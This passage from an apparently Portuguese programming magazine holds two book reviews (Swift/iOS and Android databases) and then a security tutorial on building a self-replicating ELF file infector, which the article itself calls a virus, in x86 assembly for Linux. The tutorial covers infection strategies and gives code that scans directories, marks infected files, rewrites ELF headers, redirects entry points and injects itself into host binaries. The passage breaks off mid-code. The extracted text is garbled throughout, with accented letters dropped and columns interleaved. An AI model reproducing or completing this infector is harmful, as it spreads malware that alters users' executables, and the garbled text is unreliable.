ne, iPad e iPod Touch Curso Completo tambm editado sete, onde explicado a melhor forma de utilizar este servi-
pela FCA. o.
Ao longo de dez captulos os autores constroem uma Como utilizar recursos JSON e XML, explicado no
aplicao mobile recorrendo linguagem Swift, permitindo capitulo oito. Neste capitulo apresentado, igualmente, a
de uma forma didtica a introduo programao de siste- forma de integrar a redes sociais na aplicao.
mas mobile IOS e sua linguagem. Para poder tirar mais
partido do processo de aprendizagem deste livro, o leitor Com o aproximar do final do livro, os ltimos dois
necessita de ter acesso a um computador da Apple e ter captulos so reservados os temas da persistncia (capitulo
instalado o XCode para poder seguir os exemplos. nove) e testes da aplicao e submisso na apple store
(capitulo dez).
No primeiro capitulo temos a introduo, dar a conhe-
cer a linguagem Swift, o IDE XCode e aps alguns conceitos Concluso:
base do inicio ao projeto que vai acompanhar a leitura do Este livro uma breve introduo linguagem Swift e
livro. criao de aplicaes para IOS, apesar da aplicao cons-
A introduo linguagem surge nos captulos dois e truda ser simples, os conceitos mais importantes e os com-
trs, onde o leitor tem o primeiro contato com a linguagem e ponentes mais utilizados so apresentados de uma forma
descrito os conceitos base como os tipos de variveis, a simples e de fcil aprendizagem, sendo um bom ponto de
sua definio, aes de controlo de fluxo, funes e a intro- partida para quem quiser aprender a linguagem.
duo classes e estruturas de dados. Para programadores
que j passaram por outras linguagens, notaro algumas
semelhanas na definio ou comportamento da programa-
o Swift em relao a outras linguagens, contudo de refe-
rir que so apenas semelhanas. So abordados temas mais
avanados como a programao orientada a objetos, progra-
mao concorrente ou closures.

AUTOR
Escrito por Nuno Cancelo

Curioso por natureza e engenheiro informtico por formao. Desde muito cedo me despertou o interes-
se pelos computadores e informtica com o famoso Spectrum. Tenho um gosto peculiar por aprender
novas coisas frequentemente mesmo que no venha a trabalhar com elas e optimizar os sistemas au-
mentando a sua performance.

40
Review
Bases de Dados e Geolocalizao

Ttulo: Bases de Dados e Geolocaliza- a ponderar. (ORM uma tcnica que abstrai o acesso ao
o banco de dados SQLite e implementa a tcnica de mapea-
Autores: Ricardo Queirs mento objeto relacional, tornando simples a tarefa de mani-
pular dados de forma persistente). So tambm explicadas
Editora: FCA ao leitor quais as vantagens e desvantagens de cada um
Pginas: 192 destes temas. Neste capitulo o autor d-nos tambm um
pequeno projecto exemplo que permite ao leitor seguir passo
ISBN: 978-972-722-862-1 -a-passo a criao e configurao do mesmo, o que na mi-
Formato: Capa soft nha opinio uma mais-valia para os leitores menos experi-
entes. O captulo 5 encerra a parte de Base de Dados e
Nesta edio trazemos at vs a review de um dos onde abordada a Gesto Remota de Dados, pois cada vez
livros mais recentes da FCA Editora, o Android Bases de mais a nvel aplicacional necessrio aceder e manipular
Dados e Geolocalizao de Ricardo Queirs. Como seria de dados que no esto localmente no dispositivo.
esperar, este um livro com a qualidade habitual que este
autor j nos habituou. Direccionado para os profissionais de
informtica (e tambm para os entusiastas e curiosos) que
queiram dar os primeiros passos na programao Android
com destaque claro est para as bases de dados e geoloca-
Como seria de es-
lizao. Contudo devo dizer-vos que os leitores mais experi-
entes no assunto, no ficaro desiludidos com este livro em perar, este um livro
particular, uma vez que os temas abordados tm todo o inte-
resse, tenhamos 0 ou 10 anos de experincia nesta temti- com a qualidade habi-
ca.
O livro constitudo por oito captulos, sendo que os mes- tual que este autor j
mos esto divididos por duas partes. A linguagem de progra-
mao usada nos exemplos dados o Java. nos habituou. Direccio-
A primeira parte, em que os temas abordados dizem respeito
s bases de dados constituda por 5 captulos. Iniciamos
nado para os profissio-
com o captulo de Tcnicas e Persistncia de Dados em que
dada ao leitor uma pequena explicao do tema assim nais de informtica (e
como quais as aplicaes de desenvolvimento que deve ter
instaladas para obter o melhor partido do livro. Seguidamen- tambm para os entusi-
te temos como segundo capitulo, uma abordagem aos Fi-
cheiros, quer seja a leitura ou escrita dos mesmos. Para
os leitores que no esto to familiarizados com este tema,
astas e curiosos) que
achei este captulo uma mais-valia para que possam acom-
panhar o restante aprendizado j com as bases mais cimen-
queiram dar os primei-
tadas. tambm neste captulo que so abordadas as princi-
pais diferenas entre armazenamento interno e externo dos ros passos na progra-
dispositivos mveis. O terceiro captulo aborda Preferncias
Partilhadas, em que dado a conhecer ao leitor as prin- mao Android com
cipais classes que providenciam a framework geralmente
usada para armazenar os dados de configuraes da aplica-
o, ou seja as classes PreferenceActivity e PreferenceFrag-
destaque claro est pa-
ment. ra as bases de dados e
Posto isto, passamos para o quarto captulo, o das Bases de
Dados. Considero que este, na minha opinio, o captulo geolocalizao
mais importante deste livro uma vez que nos descreve algu-
mas das prticas mais importantes sobre o armazenamento
de dados. importante referir que o autor alm de abordar a
base de dados SQLite, nos leva tambm a uma abordagem Chamo a vossa ateno para este captulo uma vez
base de dados Realm, e ao Sugar ORM como alternativas que o livro descreve como aceder remotamente aos dados,

41
Review

mas tambm como instalar e configurar o WAMP do lado do telemvel connosco. Assim, nas pginas deste captulo o
servidor e como podemos usar isso para criar uma maior leitor levado a compreender como pode tirar um maior par-
interaco entre o utilizador final e a aplicao criada. Neste tido da aplicao e da experincia que a aplicao proporcio-
captulo, o backup de dados no foi esquecido e este tema na ao utilizador final.
tambm abordado.

Contudo devo di-


zer-vos que os leitores
mais experientes no
assunto, no ficaro
desiludidos com este
livro em particular, uma
vez que os temas abor-
dados tm todo o inte-
resse, tenhamos 0 ou
10 anos de experincia
nesta temtica.

No sexto captulo, entramos na segunda parte desta


obra e passamos Geolocalizao, assim, este captulo
Em suma, e sendo esta uma opinio prpria, conside-
comea por apresentar o Google Play Services (uma biblio-
ro que este um livro que poder ser uma mais-valia na
teca de servios para dispositivos Android), alm da apre-
biblioteca pessoal, pois o facto de encadear os ensinamen-
sentao, o leitor guiado atravs de algumas das boas
tos de uma forma simples e intuitiva, leva a que possamos
prticas da configurao desta biblioteca.
acompanhar todo o processo de desenvolvimento de forma
O captulo 7 dedicado aos Mapas. Devo dizer-vos mais fcil e natural, sendo um livro que pode ser lido como
que neste captulo os leitores mais inexperientes no vo um todo, ou como consulta nalgum destes temas em particu-
sentir-se deslocados pois o autor torna todo o conceito lar.
simples. Desde os tipos de mapas disponveis, sua confi-
gurao e controlo, tudo isto abordado neste livro. Por lti-
mo, chegamos ao oitavo captulo, dedicado Localizao.
Creio que este tema seja tambm um dos mais importantes
pois no mundo de hoje, todos andamos constantemente com

AUTOR
Escrito por Rita Peres

Natural de Castelo Branco, licenciou-se em Engenharia Informtica pela Universidade da Beira Interior.
Membro do P@P desde Janeiro de 2010. Embaixadora das Geek Girls Portugal Ncleo de Lisboa.

42
Segurana
Como criar um programa auto-replicativo em assembly, para GNU/Linux
Segurana

Como criar um programa auto-replicativo em assembly, para GNU/Linux


A arte da criao de programas auto-replicativos parece sistemas. Conforme o sistema onde vamos querer que o
estar perdida no tempo. No podemos confundir um programa nosso programa auto-replicativo sobreviva, teremos de
auto-replicativo com malware, cavalos de tria, worms, etc. Um conhecer minimamente o tipo de ficheiros executveis do
programa auto-replicativo no executa nenhum tipo de cdigo sistema, alm do prprio sistema. Foquemo-nos nos tipos de
para danificar hardware ou software, pelo contrrio apenas ficheiros.
tenta replicar-se de diversas formas ou mtodos e por norma
Os tipos de ficheiros:
escrito numa linguagem de baixo nvel, como por exemplo as-
sembly. A parte mais interessante e importante do programa ao Neste caso como apenas vamos permitir a replica-
contrrio de um malware no um pedao de cdigo para cau- o para binrios executveis, vamos ver os diferentes tipos
sar danos, mas antes pelo contrrio apenas o cdigo que per- de ficherios binrios executveis existentes, para os vrios
mite que o programa se replique. sistemas:
Apesar de muitas vezes se confundirem as duas tare- ELF - (Formato de arquivo executvel e vinculvel
fas, um programa auto-replicativo uma forma de criatividade, (linkable)) formato de ficheiro binrio padro para
engenho e inovao, com o objectivo de criar um programa sistemas Unix e sistemas semelhantes ao Unix. Tam-
que se consiga manter num sistema informtico evitando ser bm usado por muitos equipamentos mveis, con-
apagado e replicando-se de forma inteligente, evitando a sua solas de jogos (Playstation, Nintendo), equipamentos
deteco e consequente remoo. quase como fazer um de internet das coisas, equipamentos de rede, etc.
avio de papel, ajustar as asas, o nariz, colocar ou no um
leme de cauda, etc e atirar para ver que distncia percorrida Mach-O - (objecto mach) ficheiro binrio execut-
antes de inevitavelmente aterrar, ou melhor, cair! Em momento vel usado em sistemas com ncleo Mach, inicialmen-
algum se pretente que o programa, tal como o avio, dure ad te desenvolvido pela Universidade de Carnegie Mel-
aeternum, sendo o interesse apenas no lapso de tempo que lon, utilizado em sistemas como por exemplo o ma-
ele durar at ser totalmente removido. cOS, iOS, NextStep.

O objectivo deste artigo apenas apresentar a temtica PE - (executvel porttil) usado nos sistemas ope-
e um programa exemplo, para que o leitor possa experimentar rativos Microsoft de 32-bit e 64-bit, tanto em ficheiros
e comear a entender os mecanismos envolvidos, construindo executveis como nos ficheiros FON Font Files, utili-
o programa e aprofundando assim conhecimentos de sistema zado desde o sistema operativo Windows NT 3.1.
operativo e programao na lingagem assembly.
MZ (DOS) - Formato de arquivo executvel siste-
No incrvel livro de Ryan "elfmaster" O'Neill, Learning
ma operativo DOS, suportado por todos os sistemas
Linux Binary Analysis, ele afirma: ... um grande desafio de
operativos de 32 bits da Microsoft e anteriores, foi o
engenharia que excede as convenes regulares de programa-
formato usado nos ficheiros .exe do MS.DOS. Estes
o, exigindo que o programador pense fora dos paradigmas
ficheiros tm uma particularidade engraada, que
convencionais. manipular o cdigo, dados e ambiente para
permite a sua identificao, quando abertos num edi-
ele se comportar de uma determinada forma... (). Enquanto
tor de hexadecimal. No incio do nmero mgi-
conversando com os desenvolvedores do software AV, fiquei
co (magic number), encontram-se os valores 0x4D
espantado que, ao lado de nenhum deles tinha qualquer idia
0x5A que convertidos em ASCII resultam em MZ, as
real de como engenheiro de um vrus, muito menos projetar
iniciais de um dos programadores do MS-DOS Mark
qualquer heurstica real para identific-los (diferente de assina-
Zbikowski.
turas). A verdade que a escrita do vrus difcil, e requer
habilidade sria. COM (DOS) - suportado por todos os sistemas
A escrita deste tipo de programas em linguagem As- operacionais da Microsoft de 32 bits e anteriores.
sembly ou em linguagem C de certa forma uma arte em se- um formato extremamente simples, no contm cabe-
parado. As linguagens como assembly ou C sem o recurso a alho (header), no contm metadados padro, tem
bibliotecas, so basicamente pinceis, simples prontos para um tamanho mximo de 65.280bytes e armazena
pintar. todo o cdigo num nico segmento de dados.

Antes de passarmos ao programa propriamente dito, Cada tipo de ficheiro corresponde a um ou mais siste-
vejamos alguns aspectos importantes relacionados com esta mas operativos, tem a sua prpria histria e curiosidades,
temtica. bem como formato. Acima pudmos ver os principais tipos
de ficheiros, mas por ser complexo abordar todos, irei ape-
Existem diversos tipos de ficheiros executveis, para nas focar o sistema operativo GNU/Linux e o formato ELF.
diversos sistemas operativos, sejam eles baseados em Unix,
sejam sistemas desenvolvidos pela Microsoft, sejam outros

44
Segurana

COMO CRIAR UM PROGRAMA AUTO-REPLICATIVO EM ASSEMBLY, PARA GNU/LINUX


As funcionalidades do programa exemplo os ficheiros ELF comeam sempre por 7f45 4c46,
em que 45-4c-46 correspondem representao hexadeci-
O programa ter de se replicar, embutindo-se em fichei- mal dos caracteres ELF. Por exemplo um executvel do Win-
ros executveis dows comea por 4D5A, que corresponde representao
hexadecimal dos caracteres M-Z e por exemplo um exetuc-
O programa deve ser auto-contido, ou seja capaz de
vel do OS X, nos marcadores os bytes so CEFA EDFE.
operar independentemente de outros ficheiros ou pro-
gramas Neste caso e estando a analisar um exemplo para
GNU/Linux, ser colocado um marker nos bytes no utiliza-
Os ficheiros hospedeiros devem continuar a execuo dos, situados entre 9 e 12 do header do ficheiro ELF, apenas
do programa, permitindo a sua replicao para facilitar a deteco, no caso ser o valor dword
O programa ir agir como um cogumelo, um parasita 61706f63. Isto apenas ser necessrio para assinalar
que no danifica nem altera o comportamento do seu ficheiros que j foram infectados, evitando assim a re-
hospedeiro, mas depende dele para se manter vivo. infeco de ficheiros, que faria disparar o tamanho de cada
ficheiro num efeito cclico, o que levaria a que as unidades
A primeira tarefa ser procurar todos os ficheiros dispon- de armazenamento fossem cheias at no haver mais espa-
veis na filesystem num determinado directrio. Existem diver- o. De igual forma facilita a deteco e eliminao, at por-
sas formas de o fazer, de qualquer das formas a mais simples que se est a falar de um exemplo para estudo, logo convm
seria a que se segue: ter controlo sobre o mesmo. Lendo os primeiros 12 bytes
possivel determinar se um ficheiro passvel de ser infecta-
find_filename_start: do ou no e em caso negativo, passar para o ficheiro seguin-
; procura a sequncia 0008 que ocorre antes do te. Neste caso e apenas por questes de desempenho, os
;nome do incio do nome de um ficheiro
add edi, 1 ficheiros passveis de serem infectados, sero armazena-
cmp edi, len dos temporariamente num buffer separado, chamado alvos.
jge done
cmp byte [buffer+edi], 0x00 De forma extremamente resumida, os ficheiros ELF
jnz find_filename_start so compostos pelo cabealho elf (elf header), os cabea-
add edi, 1
cmp byte [buffer+edi], 0x08 lhos de programa (program headers), os cabealhos de sec-
jnz find_filename_start o (section headers) e as instrues op code. Os cabea-
lhos ELF fornecem a informao relativa aos cabealhos de
xor ecx, ecx ; limpa ecx que ser utilizado
;como offset para o ficheiro programa, bem como aos cabealhos de seco, o local da
find_filename_end: memria onde estar armazenado o primeiro op code. Por
; procura a sequncia 00 que indica o fim de um outro lado, os cabealhos de programa indicam que segmen-
; nome de ficheiro tos pertencem ao segmento de texto e quais pertencem ao
add edi, 1
cmp edi, len segmento de dados, bem como os offsets do ficheiro. Por
jge done sua vez os cabealhos de seco do-nos informao sobre
cada seco e que segmentos pertencem a quem. Isto
mov bl, [buffer+edi] ; copia um byte do
; buffer para o ficheiro parece confuso, e na verdade no assim to linear, apenas
mov [file+ecx], bl foi extremamente resumido.
inc ecx ; incrementa o offset
; armazenado em ecx Um ficheiro executvel encontra-se em estados dife-
rentes, quando est a ser executado e quando est armaze-
cmp byte [buffer+edi], 0x00 ; denota o fim do nado na unidade de armazenamento, seja ela um disco rgi-
; nome do ficheiro
jnz find_filename_end do, uma flash-drive, ou outra. Os cabealhos disponibilizam
mov byte [file+ecx], 0x00 ; adiciona 0x00 ao a informao acerca do estado actual de um dado ficheiro,
; final do buffer de ficheiro conforme o estado em que ele se encontre num dado mo-
;; aqui sero includas outras instrucoes mento. O TEXT o segmento de leitura e execuo que
contm o nosso cdigo e outros dados s de leitura. O Data
jmp find_filename_start ; desloca-se para o segmento de leitura e escrita que contm as variveis
; find_filename_start e inicia nova busca
globais e a informao destinada ligao dinmica
(dynamic linking). No segmento TEXT encontra-se uma sec-
O prximo passo ser analisar o ficheiro e descobrir o .text, e umda seco .rodata. No segmento DATA en-
duas coisas: contram-se as seces .data e .rodata. Dentro do segmento
um ficheiro executvel ELF? data, existem ainda mais duas seces a .data e a .bss .
Para os que esto mais familiarizados com a linguagem de
J est infectado?
programao assembler, estes nomes dever ser algo familia-
Existem vrios tipos de ficheiros executveis diferentes, res.
utilizados plos diferentes sistemas operativos. Cada tipo de
ficheiro tem diferentes marcadores nos seus headers, por Contrariamente ao formato PE dos ficheiros do Micro-

45
Segurana

COMO CRIAR UM PROGRAMA AUTO-REPLICATIVO EM ASSEMBLY, PARA GNU/LINUX


soft Windows, no existem muitas reas para serem seguintes:
infectadas, pelo que a tarefa um pouco mais complexa! O
formato ELF no permite escrita no segmento TEXT, o que ir Adicionar o tamanho do vrus (arredondado para o
dificultar um pouco, mas ser possivel na realizar o efeito pre- valor alinhado da pgina seguinte) ao deslocamento
tendido recorrendo a algum engenho, como veremos em segui- para a tabela do cabealho da seo (no cabealho
da. ELF)

As principais estratgias para infectar ficheiros no for- No cabealho do programa de segmento de texto,
mato ELF so as seguintes: diminuir o endereo virtual (o endereo fsico) pelo
tamanho do vrus (arredondado para o prximo valor
Infeco por Preenchimento de Text (Text Padding Infecti-
de pgina alinhada)
on)
Infectar o final da seo .text: Podemos tirar proveito do No cabealho do programa de segmento de texto,
facto de que os arquivos ELF, quando carregados na memria, aumentar o tamanho do arquivo e o tamanho da me-
envolvem os segmentos por uma pgina inteira de 0's. Esta- mria pelo tamanho do vrus (arredondado para o
mos limitados por restries de tamanho de pgina, portanto, valor alinhado da pgina seguinte)
podemos apenas ajustar um vrus de 4kB num sistema de 32 Para cada cabealho de programa com um desloca-
bits ou um vrus de 2MB num sistema de 64 bits. Isso pode ser mento maior do que o segmento de texto, aument-lo
pequeno, mas no entanto suficiente para um pequeno vrus pelo tamanho do vrus (arredondado novamente)
escrito em C ou Assemby. Para conseguir tal os procedimentos
so os seguintes: Alterar o ponto de entrada (no cabealho ELF) para o
endereo virtual do segmento de texto original - o
Alterar o ponto de entrada (no cabealho ELF) para o tamanho do vrus (arredondado)
fim da seo de texto
Aumentar o deslocamento do cabealho do programa
Adicionar o tamanho da pgina ao deslocamento para a (no cabealho ELF) pelo tamanho do vrus
tabela de cabealho de seo (no cabealho ELF) (arredondado)
Aumentar o tamanho do arquivo e o tamanho da mem- Inserir o vrus real no incio da seo de texto
ria do segmento de texto pelo tamanho do cdigo do
vrus

Para cada cabealho de programa que reside aps o Infeco do segmento de dados (Data Segment Infecti-
vrus, aumentar o deslocamento pelo tamanho da pgi- on)
na Infecta o segmento de dados. Anexa-se o cdigo do
vrus ao final do segmento de dados (antes da seco .bss).
Localizar o ltimo cabealho da seo no segmento
Como a seo de dados, nosso vrus pode ser to grande
TEXT e aumentar o tamanho da seo (no cabealho
quanto quisermos, sem restries. O segmento de memria
da seo)
DATA tem um conjunto de permisses R + W (leitura e gra-
Para cada cabealho de seo que existir aps o vrus, vao) enquanto o segmento de memria TEXT possui um
aumentar o deslocamento pelo tamanho da pgina conjunto de permisses R + X (leitura e execuo). Em siste-
mas que no possuem um conjunto de bits NX (como siste-
Inserir o vrus real no final da seo de texto mas GNU/Linux de 32 bits), pode-se executar o cdigo no
segmento DATA sem alterar o conjunto de permisses. No
Inserir o cdigo que salta para o ponto de entrada do entanto, outros sistemas exigem que se adicione uma flag
host original executvel para o segmento onde o vrus reside.

Aumentar o deslocamento do cabealho da seo (no


Infeco reversa do texto (Reverse Text Infection) cabealho ELF) pelo tamanho do vrus
Infectar a frente da seo .text permitindo que o cdigo Alterar o ponto de entrada (no cabealho ELF) at o
do host mantenha o mesmo endereo virtual. Estende-se o final do segmento de dados (endereo virtual + tama-
segmento de texto em sentido inverso. O menor endereo de nho do arquivo)
mapeamento virtual permitido nos sistemas Linux modernos
0x1000, que o limite de quanto podemos ampliar para trs o No cabealho do programa do segmento de dados,
segmento de texto. Num sistema de 64 bits, tamanho padro aumentar a pgina e o tamanho da memria pelo
do endereo virtual geralmente 0x400000, o que deixa espa- tamanho do vrus
o para um vrus de 0x3ff000 menos o tamanho do cabealho
ELF. Num sistema de 32 bits, o endereo virtual de texto pa- Aumentar o deslocamento de bss (no cabealho da
dro normalmente 0x0804800, o que deixa espao para um seo) pelo tamanho do vrus
vrus ainda maior. Para conseguir tal os procedimentos so os

46
Segurana

COMO CRIAR UM PROGRAMA AUTO-REPLICATIVO EM ASSEMBLY, PARA GNU/LINUX


Definir o bit de permisso executvel no segmento DA- que isso faz parte do segmento de texto que marcado co-
TA. (No aplicvel para sistemas Linux de 32 bits) mo r + x (somente leitura e execuo), nenhuma escrita
permitida nesse segmento de memria. Ento usamos a
Inserir o vrus real no final da seo de dados pilha (stack). Assim, uma vez que inserimos bytes na pilha,
podemos observar o apontador da pilha e armazenar esse
Insirir o cdigo que salta para o ponto de entrada do marcador para uso futuro.
host original
Existem muitos outros mtodos, no entanto como neste Segue-se um exemplo de como o fazer:
artigo apenas se pretende apresentar a temtica dos progra-
mas auto-replicativos, apenas so apresentadas os trs mto- ; Criar espao na pilha para as variveis no
inicializadas para evitar a seco .bss
dos acima, dos quais apenas ir ser aprofundado o terceiro. mov ecx, 2328 ; coloca o contador a 2328 bytes
; (x4 = 9312 bytes). Nome do ficheiro (esp),
Uma outra dificuldade quando se pretende criar um pro- ; buffer (esp+32), alvos (esp+1056), targetfile
grama auto-replicativo, so as variveis, uma vez que no se ; (esp+2080)
podem combinar as seces .data e .bss do programa auto- loop_bss:
push 0x00 ; reserva 4 bytes (double
replicativo e do seu hospedeiro. Alm disso, uma vez compila- ; word) de 0's
do o programa auto-replicativo, no h qualquer garantia de sub ecx, 1 ; decrementa o contador em 1
que a localizao das suas variveis venha a residir no mesmo cmp ecx, 0
endereo virtual quando o programa for executado a partir do jbe loop_bss
mov edi, esp ; esp contem o offset .bss
executvel hospedeiro. Assim para evitar este tipo de ocorrn- ; falso offset, armazenado no edi.
cia, limita-se o programa auto-replicativo a uma nica seco
a .text. Isto algo complexo e desafiante, mas um bom desa- Observe-se o facto de se ter empurrado 0x00 bytes,
fio, diz o povo na sua sabedoria, agua a mente! usando o push, carrega-se uma double word de cada vez,
Vejamos algumas ideias e tcnicas que podem facilitar o que em assembly de 32 bits, at prefazer o tamanho ne-
a tarefa: cessrio. Isso d-nos um espao de cerca de 9312 bytes
para utilizar. Feito isto armazena-se o valor de ESP (o apon-
Primeiramente inicializamos das variveis que se en- tador de pilha) e usa-se isso como base para o ".bss falso".
contram na seco .data, definindo os seus valores, se possi- Posteriormente pode-se aceder fazer referncia ao ESP +
vel no prprio cdigo, como no exemplo que se segue: [offset] para aceder a diferentes variveis. Neste caso, foi
reservado o [esp] para o nome do ficheiro, o [esp + 32] para
section .data
folder db ".", 0 o buffer, [esp + 1056] para alvos e [esp + 2080] para o arqui-
len equ 2048 vo de destino.
filenamelen equ 32
elfheader dd 0x464c457f ; 0x7f454c46 -> .ELF ( Agora pode-se eliminar completamente as sec-
signature dd 0x001edd0e ; 0x61706f63 es .data e .bss e ficar com o programa auto-replicativo por
section .bss inteiro na seco .text .
filename: resb filenamelen ; armazena o
; caminho para o ficheiro de ;destino Agora ser preciso ler os bytes do arquivo hospedeiro
buffer: resb len ; armazena o nome de todos os
; ficheiros (host) para um buffer, fazer as alteraes necessrias para
alvos: resb len ; Armazena o nome dos ficheiros os cabealhos e injetar o marcador de programa auto-
; de destino replicativo, para tal ser lido o ficheiro byte a byte at que a
targetfile: resb len ; armazena o contedo dos
; ficheiros de destino chamada de leitura do sistema devolva o valor 0x00 no EAX,
o que indica que foi atingido o EOF (fim de ficheiro), como
section .text podemos ver no cdigo seguinte:
global v1_start
reading_loop:
v1_start: mov eax, 3 ; sys_read
call signature mov edx, 1 ; l 1 byte de cada vez
dd 0x001edd0e ; 0x61706f63 int 80h
signature:
pop ecx cmp eax, 0; se for 0, atingiu o EOF
je reading_eof
mov eax, edi
Aproveitamos o facto de que quando uma instruo de add eax, 9312; 2080 + 7232 (2080 o offset
chamada (call) feita, o valor absoluto da instruo actual ; do ficheiroAlvo no .bss falso)
empurrado (push) para a pilha (stack) para uma chamada de cmp ecx, eax ; se o ficheiro tiver mais que
; 7232 bytes, sai
retorno (ret). Na prtica podemos fazer isso para cada uma das jge infect
variveis da seco .data e ultrapassar a seco completamen- add ecx, 1
te, etivanto assim mais dificuldades, relacionadas com vari- jmp reading_loop
veis. Quanto s variveis da seo .bss (no inicializadas),
reading_eof:
precisamos de reservar um nmero definido de bytes para push ecx ; armazena o endereo do ultimo
elas. Uma vez que isto no pode ser feito na seco .text por- ; byte lido

47
Segurana

COMO CRIAR UM PROGRAMA AUTO-REPLICATIVO EM ASSEMBLY, PARA GNU/LINUX


mov eax, 6 ; fecha o ficheiro push ebx ; guarda o ponto de entrada anterior
int 80h mov ebx, dword [edi+2080+eax+4] ; phdr->
; offset (offset do cabealho de programa)
Fazer alteraes no buffer bastante mais simples, mov edx, dword [edi+2080+eax+16] ; phdr->
; filesz (tamanho do segmento do disco)
apenas necessrio ter presente que se ter de lidar com a add ebx, edx ; offset onde o programa
ordem de bytes invertida (extremidade pequena) sempre que ; auto-replicativo deve rezidir = phdr[data]
se mova qualquer coisa maior que um nico byte. ; ->offset + p[data]->filesz
push ebx ; salva o cabealho do offset do
Agora ser injetado o marcador do programa auto- ; programa auto-replicativo.
mov ebx, dword [edi+2080+eax+8] ; phdr->vaddr
replicativo e mudado o ponto de entrada para apontar para o ; (Endereo virtual em memria)
programa auto-replicativo, no final do segmento de dados. (O add ebx, edx ; novo ponto de entrada =
tamanho do arquivo no inclui o espao que o .bss ocupa na ; phdr[data]->vaddr + p[data]->filesz
memria).
Vejamos o cdigo:
Ser tambm preciso fazer modificaes no cabea-
mov ebx, dword [edi+2080+eax+8]; phdr->vaddr lho da seco .bss. Podemos verificar se o cabealho da
; Endereo virtual em memria seco .bss analizando o tipo de flag verificando se NO-
add ebx, edx ; novo ponto de entrada = phdr[data]
; ->vaddr + p[data]->filesz BITS. Os cabealhos de seco no precisam necessaria-
mov ecx, 0x001edd0e ;insere a assinatura no byte 8 mente de estar presentes para que o executvel seja execu-
; (seco no utilizada do cabealho ELF) tado, portanto, se no o podemos localizar, no problem-
mov [edi+2080+8], ecx
mov [edi+2080+24], ebx ; re-escreve o ponto de tico, pelo que podemos prosseguir:
; entrada anterior com o auto-replicativo no buffer
section_header_loop:
add ax, word [edi+2080+46]
Note-se que usada a aritmtica de deslocamento para cmp ecx, 0
encontrar o caminho para a rea na parte inferior da pilha, que jbe finish_infection
foi reservada para as variveis no inicializadas. sub ecx, 1
mov ebx, dword [edi+2080+eax+4]
Agora preciso localizar o cabealho de program DATA cmp ebx, 0x00000008
e fazer alteraes. O truque localizar os tipos PT_LOAD e de jne section_header_loop
mov ebx, dword [edi+2080+eax+12]
seguida, determinar se o deslocamento no 0x00. Se o des- add ebx, v_stop - v_start
locamento for 0, um cabealho TEXT do programa, caso con- add ebx, 7
trrio DATA. mov [edi+2080+eax+12], ebx
mov edx, dword [edi+2080+eax+16]
add edx, v_stop - v_start
program_header_loop: add edx, 7
; faz loop por todos os cabealhos de programa mov [edi+2080+eax+16], edx
; e localiza o segmento DATA PT_LOAD, offset>0)

;0 p_type, tipo de segmento


;+4 p_offset, offset no ficheiro onde comear o
; segmento Feito isto, procede-se a fazer a modificao final no
;+8 p_vaddr O endereo de memria virtual cabealho ELF alterando o deslocamento do cabealho da
;+c p_addr endereo fisico seco, pois ser infectando o final do segmento de dados
;+10 p_filesz size of datas read from offset
;+14 p_memsz stamanho do segmento em memria (logo antes do .bss) e os cabealhos do programa permane-
;+18 p_flags flags do segmento (rwx perms) cem no mesmo local:
;+1c p_align alignement
add ax, word [edi+2080+42] mov eax, v_stop - v_start
cmp ecx, 0 add eax, 7
jbe infect ; no conseguiu encontrar o segmento mov ebx, dword [edi+2080+32]
; de dados. Fecha-se e procura-se o prximo alvo add eax, ebx
sub ecx, 1 ; decrementa o countador em 1 mov [edi+2080+32], eax
mov ebx, dword [edi+2080+eax] ; phdr->type
; (tipo de segmento)
cmp ebx, 0x01 ; 0: PT_NULL, 1: PT_LOAD, ... O passo final ser injetar o cdigo do programa auto-
jne program_header_loop ; no PT_LOAD. replicativo e finaliz-lo com as instrues JMP de volta ao
; Procura o prximo cabealho (header) ponto de entrada original do cdigo do ficheiro hospedeiro,
mov ebx, dword [edi+2080+eax+4] ; phdr->offset para que o utilizador veja o hospedeiro a ser executado nor-
; (deslocamento do cabealho de programa) malmente.
cmp ebx, 0x00 ; se for 0, o segmento
; seguinte. Caso contrrio, encontramos o Alguns pormenores inquietantes nesta etapa sero
; segmento de dados por exemplo, a forma como o programa auto-replicativo cap-
je program_header_loop ; o prximo segmento,
; o text. Procuramos a seco de dados. tura o seu prprio cdigo ou como ser que o auto-replicativo
mov ebx, dword [edi+2080+24] ; ponto de entrada determina o seu prprio tamanho. Estes e outros pormeno-
; anterior res inquietantes so abordados de seguida. Em primeiro

48
Segurana

COMO CRIAR UM PROGRAMA AUTO-REPLICATIVO EM ASSEMBLY, PARA GNU/LINUX


lugar, o uso de rtulos para marcar o incio e o fim do programa fazer isto fora deste projeto se for possvel evitar porque apa-
auto-replicativo e usar clculos de compensao simples: rentemente, errar ao emparelhar uma call/ret resulta numa
penalizao de performance. Mas isto no uma situao
section .text comum.
global v_start
Agora que temos o nosso delta offset, vamos mudar a
v_start: nossa referncia para v_start para a verso delta offset:
;inicio do corpo do programa
; autoreplicativo mov eax, 4
lea ecx, [ebp + v_start] ; adiciona a
; porcao do auto-replicatico, calculada
v_stop: ; com o offset deltamov edx, v_stop -
; fim do corpo do programa v_start ; tamanho do autoreplicativo
; autoreplicativo int 80h
mov eax, 1 ; sys_exit
mov ebx, 0
Notemos que no inclui a call de sada do sistema no
int 80h
vrus. Isto porque no quero que o vrus saia antes de exe-
cutar o cdigo host. Em vez disso, vou substituir essa parte
Ao fazer isso, usamos o v_start como o deslocamento
com o salto para os bytes originais do host. Uma vez que o
para o incio do vrus e usamos v_stop - v_start como o nmero
ponto de entrada do host varia de host para host, preciso de
de bytes.
gerar isto dinamicamente e injetar o cdigo op diretamente.
mov eax, 4 De forma a descobrir o cdigo op, devo primeiro entender as
mov ecx, v_start ; attach the virus portion caractersticas da instruo JMP em si. A JMP ir tentar fa-
mov edx, v_stop - v_start ; size of virus bytes
int 80h zer um jump relativo calculando o offset do destino. Quere-
mos dar-lhe uma localizao absotula. Eu descobri o cdigo
op hexadecimal compilando um pequeno programa que faz
JUMP curto e JMP longe. O cdigo op JMP muda de um E9
Para calcular o tamanho do programa auto-replicativo
para um FF.
utilizamos o clculo, (v_stop - v_start), no entanto a referncia
para o incio do programa auto-replicativo (mov ecx, v_start) mov ebx, 0x08048080
falhar aps a primeira infeco. De fato, qualquer referncia a jmp ebx
um endereo absoluto falhar porque a localizao na mem- jmp 0x08048080
ria mudar de host para host! Os endereos absolutos de rtu-
los, como o v_start, so calculados em tempo de compilao, Compilando isto, corri xxd e inspecionei os bytes e
dependendo de como ele est sendo chamado. Os seus jmp descobri como interpretar isto para cdigo op.
normal, jne, jnz, etc. sero convertidos em offsets em relao
sua posio atual, mas o endereo MOV do rtulo no ser. O pop edx
